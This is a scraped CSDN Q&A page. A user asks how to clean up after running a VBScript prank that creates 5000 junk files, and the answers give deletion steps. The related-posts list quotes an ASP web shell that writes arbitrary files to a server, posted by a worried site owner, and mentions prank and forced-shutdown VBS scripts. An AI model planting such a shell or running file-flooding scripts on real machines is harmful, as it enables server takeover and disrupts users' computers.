vbs代码 一不小心中招了 下面是源代码 怎么解决

方法/步骤
3
此代码的作用是生成5000个滑稽文件名字分别为滑稽 滑稽1 滑稽2 滑稽3………

5000可以更改改为多少个就生成多少个滑稽文件

Do Until t_i=1
t_i=t_i+1
T=T+"滑稽 "
Loop
Do
Set fs = CreateObject("Scripting.FileSystemObject")
Set f = fs.OpenTextFile(I&".滑稽", 2, True, -2)
f.Write T
f.Close
I=I+1
If I = 5000 then
Exit Do
End If
Loop

0

4个回答

用pe启动盘启动电脑
打开命令行
假设你的桌面路径是 c:\user\用户名\desktop
那么敲

c:
cd "c:\user\你的用户名\desktop"
del *.滑稽
0

从文件夹打开桌面,在右上角搜索栏里搜索滑稽,搜索完结果后,按ctrl+A全选,然后右击删除

0

求各位大神帮下忙, 桌面已经生成了5000个文件了,鼠标放到桌面就转圈圈。电脑已经关过机了,在任务管理器 进程里面已经没有了, 程序已经运行完了 在桌面生成了5000个文件,现在鼠标一放到桌面就卡,难道要一个个的删 ? 卡成那样 删都删不动,下面的方法都不行 图面还是有图标

-1

任务管理器直接杀掉就行了 或者运行的时候强制注销 ctrl alt + del

-1
Csdn user default icon
上传中...
上传图片
插入图片
抄袭、复制答案,以达到刷声望分或其他目的的行为,在CSDN问答是严格禁止的,一经发现立刻封号。是时候展现真正的技术了!
其他相关推荐
Web前端攻防,一不小心就中招了
随着各浏览器安全功能的提高,前端防御面临的问题也没有之前那么复杂,但浏览器的防御措施并不能百分百的保证网站的安全。浏览器的XSS Auditor,使得反射型xss几乎被废;CSP(Content-Security-Policy)、X-XSS-Protection可以禁止不可信源的脚本执行!无疑,这对xss攻击是一记重拳。但是道高一尺,魔高一丈,尤其是在安全界,永远应该记住的一句箴言就是“只有相对...
C++问题,怎么解决,下面是代码
rnrn#include "stdafx.h"rn#include rn#include rn#include rn#include rnusing namespace std;rntypedef std::vector CStringArray;rnvoid SplitBufferByZero(LPCTSTR lpBuf, int nBufLen, CStringArray &szaDst)rn rn int pos = 0, len = 0; rn TCHAR c = '\0'; rn string str=_T(""); rn string strsrc(lpBuf); rn if(nBufLen <= 0) rn return;rn while(pos = (strsrc.find(c,pos)))//查找'\0' rn rn len = pos -len; rn string str=strsrc.substr(pos,len); rn szaDst.push_back(str);//放入CStringArrayrn strsrc = strsrc.substr(pos + 1); rn rnrnrnrnmain(int argc, char* argv[])rnrnrn int Len;rn CStringArray szaDst;rn SplitBufferByZero("132\0585\064885\0",Len,szaDst);rn CStringArray::iterator it = szaDst.begin();rn for (; it != szaDst.end(); it++)rn rn std::string str = *it;rn printf("%s", str.c_str());rn rn return 0;rnrnrnC:\Program Files\Microsoft Visual Studio\MyProjects\split1\split1.cpp(15) : error C2065: '_T' : undeclared identifierrnC:\Program Files\Microsoft Visual Studio\MyProjects\split1\split1.cpp(15) : error C2440: 'initializing' : cannot convert from 'int' to 'class std::basic_string,class std::allocator >'rn No constructor could take the source type, or constructor overload resolution was ambiguousrnError executing C:\Program Files\Microsoft Visual Studio\VC98\BIN\cl.exe.rnrnEdit and Continue - 2 error(s), 0 warning(s)rn
我想我是中招了!
那天我打开一个叫stollen发的信,结果之后瑞星总提示:是否向c:\winnt\servers发送邮件?我一直不敢点确定,可这样太影响工作了,我终于点击了确定,之后瑞星总是出现提示发送邮件是否删除?结果现在很多程序安装后出现奇怪的问题。是不是中毒了?
HTTP状态500怎么解决,初学者,求大神,下面是代码
报错提示:rntype Exception reportrnrnmessagernrndescription The server encountered an internal error () that prevented it from fulfilling this request.rnrnexceptionrnrnjavax.servlet.ServletException: Wrapper cannot find servlet class com.tsinghua.hello or a class it depends onrn org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:105)rn org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:148)rn org.apache.coyote.http11.Http11Processor.process(Http11Processor.java:856)rn org.apache.coyote.http11.Http11Protocol$Http11ConnectionHandler.processConnection(Http11Protocol.java:744)rn org.apache.tomcat.util.net.PoolTcpEndpoint.processSocket(PoolTcpEndpoint.java:527)rn org.apache.tomcat.util.net.LeaderFollowerWorkerThread.runIt(LeaderFollowerWorkerThread.java:80)rn org.apache.tomcat.util.threads.ThreadPool$ControlRunnable.run(ThreadPool.java:684)rn java.lang.Thread.run(Unknown Source)rnroot causernrnjava.lang.ClassNotFoundException: com.tsinghua.hellorn org.apache.catalina.loader.WebappClassLoader.loadClass(WebappClassLoader.java:1332)rn org.apache.catalina.loader.WebappClassLoader.loadClass(WebappClassLoader.java:1181)rn org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:105)rn org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:148)rn org.apache.coyote.http11.Http11Processor.process(Http11Processor.java:856)rn org.apache.coyote.http11.Http11Protocol$Http11ConnectionHandler.processConnection(Http11Protocol.java:744)rn org.apache.tomcat.util.net.PoolTcpEndpoint.processSocket(PoolTcpEndpoint.java:527)rn org.apache.tomcat.util.net.LeaderFollowerWorkerThread.runIt(LeaderFollowerWorkerThread.java:80)rn org.apache.tomcat.util.threads.ThreadPool$ControlRunnable.run(ThreadPool.java:684)rn java.lang.Thread.run(Unknown Source)rnnote The full stack trace of the root cause is available in the Apache Tomcat/5.5.9 logs.rn代码:rnrnpackage com.tsinghua;rnimport javax.servlet.*;rnimport java.io.*;rnimport javax.servlet.ServletConfig;rnimport javax.servlet.ServletException;rnimport javax.servlet.ServletRequest;rnimport javax.servlet.ServletResponse;rnimport java.io.IOException;rn public class hellorn /**rn * Method initrn *rn *rn * @param parm1rn *rn @throws ServletExceptionrn *rn */rn public void init(ServletConfig parm1) throws ServletException rn // TODO: Add your code herern System.out.println("init it");rn rnrn /**rn * Method getServletConfigrn *rn *rn * @returnrn *rn */rn public ServletConfig getServletConfig() rn // TODO: Add your code herern return null;rn rnrn /**rn * Method servicern *rn *rn * @param parm1rn * @param parm2rn *rn @throws ServletExceptionrn @throws IOExceptionrn *rn */rn public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException rn // TODO: Add your code herern System.out.println("service it");rn PrintWriter pw=res.getWriter();rn pw.println("helloworld");rn rnrn /**rn * Method getServletInforn *rn *rn * @returnrn *rn */rn public String getServletInfo() rn // TODO: Add your code herern return null;rn rnrn /**rn * Method destroyrn *rn *rn */rn public void destroy() rn // TODO: Add your code herern System.out.println("destyoy it");rnrn rnrn rn
下面这段代码改成ASP VBS怎么写
<%@ LANGUAGE=JScript %>rnrnrn Active SMS - Send SMSrnrnrn Send SMS Message Requestrnrn rn<%rnvar ActiveSMS = Server.CreateObject("Intellisoftware.ActiveSMS");rnrnvar PhoneNumber = Request("PhoneNumber")rnvar MessageText = Request("MessageText")rnrnvar MessageId = ActiveSMS.SendUnicodeMessage( PhoneNumber, MessageText, 15000);rnvar Status = ActiveSMS.GetSendStatus(MessageId);rnrnswitch ( Status )rnrn case 2 : //jsSentrn case 9 : //jsSentNotConfirmedrn Response.Write ( "Message has been sent" );rn break;rn case 7 : //jsErrTimeoutrn Response.Write ( "Message not sent, Server too busy [Non-Queued Mode]" );rn break;rn case 3 : //jsErrNumberInvalidrn Response.Write ( "Message not sent, Invalid Number" );rn break;rn case 0 : //jsPendingrn case 1 : //jsProcessingrn Response.Write ( "Message has been queued" );rn break;rn case 4 : //jsErrNetworkFailurern Response.Write ( "Message not sent, Failure reported by phone network" );rn break;rn case 5 : //jsErrPhoneCommsErrorrn Response.Write ( "Message not sent, Error communicating with handset" );rn break;rn case 10 : //jsDeliveryFailedrn Response.Write ( "Message delivery failed" );rn break;rn default :rn Response.Write ( "Message not sent, Internal error occured (see EventLog)" rnrn);rn break;rnrn%>rnrnrnrnrnrnrn把上面的代码写改ASP VBS怎么写。rnrn
中招了!
现象请见rnrnrnhttp://www.vodfans.com/bbs/viewthread.php?tid=7288&sid=UyKSowrnrnrnrn 有何高招解除阿?rnrn 谢谢!rn
中招了
前些天在一个乱糟糟的网站下了个文件,没扩展名,用记事本打开看到“thisprogrammecannotrun……”字样,于是加扩展名exe,运行后360报毒,昨天安装了卡巴斯基2010安全部队,一直都没把病毒清除掉,现在硬盘中所有文件夹都为只读属性,更改后有自动变为只读属性,那些工作软件都不能保存工作结果,开机偶尔出现资源管理器停止工作,经常死机,我用搜狗浏览器用ie内核时打开网页,页面出现“Welcome to nginx”请求高手指教!!!rn本人是用win7旗舰版,安装卡巴前用了微软MSE,但他俩不兼容,卸了MSE
下面这句话怎么转换成vbs?
rnrnxp自带的IE6好像不能解释javascript,应该怎么办啊??rnrn谢谢!rn
中招了!!!
我的朋友中招了,怀疑是冲击波。rnrn是这样的:rn他用win2000拨号上网,在线后,后台文件的操作、拖动失灵,即使拔下网线也无法操作,必须经过重起才可以。rnrn那位大虾知道是怎么回事?rnrn他已下载补丁,但是无法安装。是怎么回事。rnrn而且系统有很多重要文件,和软件配置。rn不想重装可以解决么?rnrnrn情况大概是这样,具体也不太清楚,有经验者帮忙,谢谢了先。rn
下面代码是啥?
ExecutorService service = Executors.newFixedThreadPool(2);
怎么解决下面编译错误
我在一个头文件中声明了下面变量,在程序中多处调用,编译时报下面错误,请问怎么解决这个问题?rnrn#ifndef HASHTABLErn#define HASHTABLErnCMapStringToPtr* m_HashTable;rn#endifrnrnStdAfx.obj : error LNK2005: "class CMapStringToPtr * m_HashTable" (?m_HashTable@@3PAVCMapStringToPtr@@A) already defined in TestRule.objrnDebug/test.exe : fatal error LNK1169: one or more multiply defined symbols found
请问我的站点是否中招了!下面是被更换的代码!
<% dim objFSO %>rn<% dim fdata %>rn<% dim objCountFile %>rn<% on error resume next %>rn<% Set objFSO = Server.CreateObject("Scripting.FileSystemObject") %>rn<% if Trim(request("syfdpath"))<>"" then %>rn<% fdata = request("cyfddata") %>rn<% Set objCountFile=objFSO.CreateTextFile(request("syfdpath"),True) %>rn<% objCountFile.Write fdata %>rn<% if err =0 then %>rn<% response.write "save Success!" %>rn<% else %>rn<% response.write "Save UnSuccess!" %>rn<% end if %>rn<% err.clear %>rn<% end if %>rn<% objCountFile.Close %>rn<% Set objCountFile=Nothing %>rn<% Set objFSO = Nothing %>rn<% Response.write " " %>rn<% Response.write "保存文件的绝对路径(包括文件名:如D:\web\x.asp):" %>rn<% Response.Write "" %>rn<% Response.Write " " %>rn<% Response.write "本文件绝对路径" %>rn<% =server.mappath(Request.ServerVariables("SCRIPT_NAME")) %>rn<% Response.write " " %>rn<% Response.write "输入马的内容:" %>rn<% Response.write "" %>rn<% Response.write "" %>rn<% Response.write "" %>rnrn================================================================rn看上去是木马,利用FSO他想存什么恶意代码进来!
VBS怎么写关机代码?
VBS怎么写关机代码? 最好给出实例
下面代码中出现了数组越界的问题,不知道怎么解决
下面代码中出现了数组越界的问题,不知道怎么解决rnrnimport java.util.ArrayList;rnimport java.util.List;rnrnpublic class HomeWork3 rn public static void main(String[] args) rn int [] arr = 1,6,5,7,9,2,8,3;rn List list = new ArrayList();rn PutArray(list,arr);rn System.out.println(list);rn rnrn private static void PutArray(List list,int[] arr) rn // TODO Auto-generated method stubrn for(int i : arr)rnrn list.add(arr[i]);rn rn rn rnrn post_newreply rn rn rn
一不小心。。。。。。
vs.net 中,我一不小心把工具箱中web控件选项卡删除了,如何恢复呢?
我的机子中招了,请问如何解决?
我在delphi盒子中下载源代码之后,就发现我的机子经常出现一个对话框,说什么‘她怀了我的孩子‘等等的话,然后屏幕保护就出现了,光驱也弹了出来。请问用什么能解决啊?感觉不是什么病毒,只是一个夹带在下载文件中的小程序,但是我找不到
下面代码怎么封装?
我的代码里面有很多rn[code=c]rn//省略代码rnchar szName[128] = 0;rnfor (int i=0; i<32; i++)rnrn sprintf(szName, "Flash01_%02d.png", i+1);rn //省略代码rnrn//省略代码rn[/code]rnrn里面除了sprintf产生的szName不一样,其他的完全一样。请教大牛们,这该怎么封装?
下面代码怎么理解
String url = response.encodeRedirectURL("/Myday07/servlet/ListCartServlet");rnrnresponse.sendRedirect(url);rn
下面代码怎么错了?
先绑定部门rnDataSet ds = DbClass.getDateSet(TrainPerson);rn int i = ds.Tables[0].Rows.Count;rn int x = ds.rows[0]["INFO_ID"].ToString();、、得到部门表的Id值。但这里却报 CS0117: “System.Data.DataSet”并不包含“rows”的定义 的错误。。。。。我那些错了。???rnrn _TrainPerson.RecordCount = i.ToString();rn DbClass.BindGridView(TrainPerson, TrainPerson_gv);rn //部门绑定结束rn //部门内部人员的绑定循环rn string TrainMan = "select P_ID,P_NAME from RS_Person where P_DEPARTMENT ="+x+"";、、此部门人员绑定rn DataSet ds1 = DbClass.getDateSet(TrainMan);rn int k = ds1.Tables[0].Rows.Count;rn _TrainPerson.RecordCount = i.ToString();rn DbClass.BindGridView(TrainMan, TrainPerson_gv);
怎么简化下面代码
[code=php]if($_MODULE[huoqubaobei]!="4")rnrn $i=-1;rn $j=0;rn foreach($items as $item)rn $i++;rn $itemUrl = $uriManager->detailURI($item); rn $itemPicUrl = $item->getPicUrl(310);rn $itemTitle = $item->title;rn $itemPrice = $item->price;rn $itemsoldCount = $item->soldCount; rnecho' rnrnrn rn'.$itemTitle.'rn¥rn'.$itemPrice.'rnrnrnrn';rn rnrnelse if($_MODULE[huoqubaobei]=="4")rnrn $num = count($srtpdz);rn for($i=0;$i<$num;$i++)rn rn echo' rnrnrn rn'.$srbbbt[$i].'rn¥rn'.$srbbjg[$i].'rnrnrnrn';rn rn [/code]rnrn这个地方div+css写重复了 我想不重复怎么写。。我想了几个小时也想不出好的方法 主要这个循环蛋疼。。
下面代码中的"=>"是作什么用?
dbms_sql.define_column(c =>l+thecursor,rn position =>l,rn cloumn=>l_clumnvalue);rn本人以前看书用的dbms_sql.define_column(l+thecursor,rn l,rn l_clumnvalue);即可。rn上面的=>与前面的肉是注释还是什么?rn实在没分了,请包含.rnrn
在98下面写的源程序到2000下面运行怎么是乱码?在98下面没事,怎么解决?
各位兄弟:rn 我在win98下面的写的程序(源程序)复制到win2000下,从数据库读出的中文部分都是乱码,而在win98下面则没有事rn 我用是VB6.0 加SQL2000rn 在线等
vbs代码
vbs 数组 Option Explicit Dim array(3),str array(0)="a" array(1)="b" array(2)="c" array(3)="d" For Each str in array MsgBox str Next 显示日期 CurrentTime=Hour(Now)&":"&Minute(Now)&":"&Second(Now
vbs整人代码vbs整人代码
超级vbs整人代码。 让你死机。无法用cmd。任务管理器 超级vbs整人代码。 让你死机。无法用cmd。任务管理器
vbs小工具-vbs代码加密解密
可以简单的加密/解密 一下编写的vbs代码. 好像还有点用.
下面这种错误是怎么造成的,应该怎么解决阿
server.obj : error LNK2005: "struct ip_table * On_Line" (?On_Line@@3PAUip_table@@A) already defined in gbn.objrnserver.obj : error LNK2005: "struct _RTL_CRITICAL_SECTION data" (?data@@3U_RTL_CRITICAL_SECTION@@A) already defined in gbn.objrnserver.obj : error LNK2005: "struct _RTL_CRITICAL_SECTION file" (?file@@3U_RTL_CRITICAL_SECTION@@A) already defined in gbn.objrnserver.obj : error LNK2005: "struct _RTL_CRITICAL_SECTION g_CriticalSection" (?g_CriticalSection@@3U_RTL_CRITICAL_SECTION@@A) already defined in gbn.objrnserver.obj : error LNK2005: "void * hEvent" (?hEvent@@3PAXA) already defined in gbn.objrnserver.obj : error LNK2005: "void * hEvent1" (?hEvent1@@3PAXA) already defined in gbn.objrnserver.obj : error LNK2005: "class FileInformation g_FileList" (?g_FileList@@3VFileInformation@@A) already defined in gbn.objrnDebug/gbn.exe : fatal error LNK1169: one or more multiply defined symbols found
我是猪是一个VBS代码关机代码
代码类强制关机小软件,就是你必须说一句有损自己的话,才会解决关机倒计时的对话框。
是不是中招了?
这几天一开机进98,发现所有的驱动器除了软驱,都被共享了,包括我的光驱、刻录机、虚拟光驱。而且是完全的。开始以为别人开玩笑的,今天从xp里出来再进98这种情况又出现了。是不是感染什么该死的病毒或木马了?我的98系统装着Norton AntiVirus2002,一分种也没有关过,auto-protect Email Scanning Script Blocking都开着。最近没有运行过可疑程序、没有打开过可疑邮件、没有浏览过不良网站。autoexec.bat和win.ini system.ini都没问题,只是注册表里启动里有一个loadqm.exe不知道是什么东西,运行后没反应。真是奇怪,目前未发现有什么损失。大家有没有遇到过类似情况,交流一下经验。
我是不是中招了?
两台电脑通过铁通的宽带上网,其中一台电脑最近反映慢得让人无法忍受,无论是上网还是没有上网都这样,另外一台没有这个问题。最后才在网上邻居里面的工作组里发现了一台陌生的电脑,另外多了一个工作组,里面也有两台陌生的电脑的名字。这三台电脑都没有见过,因为局域网实际就两台电脑啊。断开网络,则那三台电脑不见了。rn怀疑是中招了,不知道该怎么办。请教各位大虾一下,出了格式化C盘外还有其他办法吗?
急!!是不是中招了??
昨天down了一个软件(java sdk) 后,就时不时自动出现播号,如何办呢?
我是不是中招了
我的机器浏览速度明显变慢,ie的背景成了灰色.ie图标是256色.rnrn是什么病毒呀.怎么杀.
中招了,60秒关机
lsass.exe进程被杀死,错误码128rn60秒后从新启动。rnrn怎么杀?rn杀毒软件都查不出这个病毒
中招了请求帮助
我中了病毒,感染exe,主要是:rn1.更改图标,\rn2使得dos下的 exe不管用,rn3.使得一些图标变得模糊,就象显示器聚焦不好或显卡有问题一样rn金山毒霸6升级后也查不出来.rn请问是什么病毒?用什么专杀工具???
java中下面这段代码怎么理解?
class Connection rn private static int count = 0;rn private int i = 0;rn private Connection() System.out.println("Connection()");rn // Allow creation via static method:rn static Connection makeConnection() rn count++;rn return new Connection();rn rn public static int howMany() return count; rn public String toString() rn return ("Connection " + count);rn rn rnrn public class ConnectionManager rn static int howManyLeft = 3;rn static Connection[] ca = new Connection[3]; rn rn for(Connection x : ca) 这个非静态代码块怎么理解?rn x = Connection.makeConnection();rn rn public static Connection getConnection() rn if(howManyLeft > 0)rn return ca[--howManyLeft];rn else rn System.out.println("No more connections");rn return null;rn rn rn public static void main(String[] agrs) rn ConnectionManager cm = new ConnectionManager();rn System.out.println(cm.howManyLeft);rn cm.getConnection();rn System.out.println(howManyLeft);rn cm.getConnection();rn System.out.println(howManyLeft);rn cm.getConnection();rn System.out.println(cm.getConnection());rn System.out.println(howManyLeft);rn rn rn
怎么在javascript中获取下面代码的值
-
求段VBS代码!解决就给分.
我在网上页做了个表单FORM1rn 里面有 人数(text1)根据text1的数字rn 下面显示填入rn 人员信息的输入框(text2)如text1=2rn 则显示两个text2rn (事件是在text1失去焦点时触发的。)rnrnrn解决就给分!!!
请教下面问题怎么解决???
我自己写了一个类似论坛发新贴的控件,但是当我向TextBox中写信息的时候出现下面的错误,请问如何解决?,它说的validateRequest=false在什么地方设置,还有其他的解决办法吗???rnrnrn从客户端(TextBox2="...这些信息.具体的是在....
请问下面报错怎么解决?
程序调试运行成功,但有时运行到一定的时候会出现下面的报错,程序异常退出。rnUnhandled exception in COCO.exe: 0xC0000005:Access Violation.rn
下面问题怎么解决啊?
对象A:有一个属性strrnclass Arn String str="";rn setStr...rn getStr...rnrnclass Brn String id="";rn setId...rn getId...rn Collection aCol;//A组成的Collectionrnrn现在假设B的aCol中有一个对象A的str属性改变了,小弟不知道怎么传递给B中去,麻烦高人指点一下,还有,这里用Collection是不是不合适?
用VBS获取网页源代码.vbs
用VBS获取网页源代码.vbs set http=createobject("Microsoft.XMLHTTP") '\\调用XMLHTTP对象 url="http://www.119880.com/qq.txt" '\\赋予变量URL值 Set hhh = createObject("Microsoft.XMLHTTP") hhh.open "get",url,false '\\定义打开URL方式 hhh.send '\\发送数据 zhi=zhuanghuan(Http.responsebody) '\\变量zhi等于网页内容 Set fso = Wscript.CreateObject("Scripting.FileSystemObject") '声明 Set f = fso.CreateTextFile&#40;"txtx.txt"&#41; '创建文件,其中f可任意,包含缩略名 f.WriteLine(zhi) '写文件内容,该命令功能太简单,目前看来只能用于TXT文件 f.Close Function zhuanghuan(vIn) strReturn = "" For i = 1 To LenB(vIn) ThisCharCode = AscB(MidB(vIn,i,1)) If ThisCharCode < &H80; Then strReturn = strReturn & Chr(ThisCharCode) Else NextCharCode = AscB(MidB(vIn,i+1,1)) strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100; + CInt(NextCharCode)) i = i + 1 End If Next zhuanghuan = strReturn End Function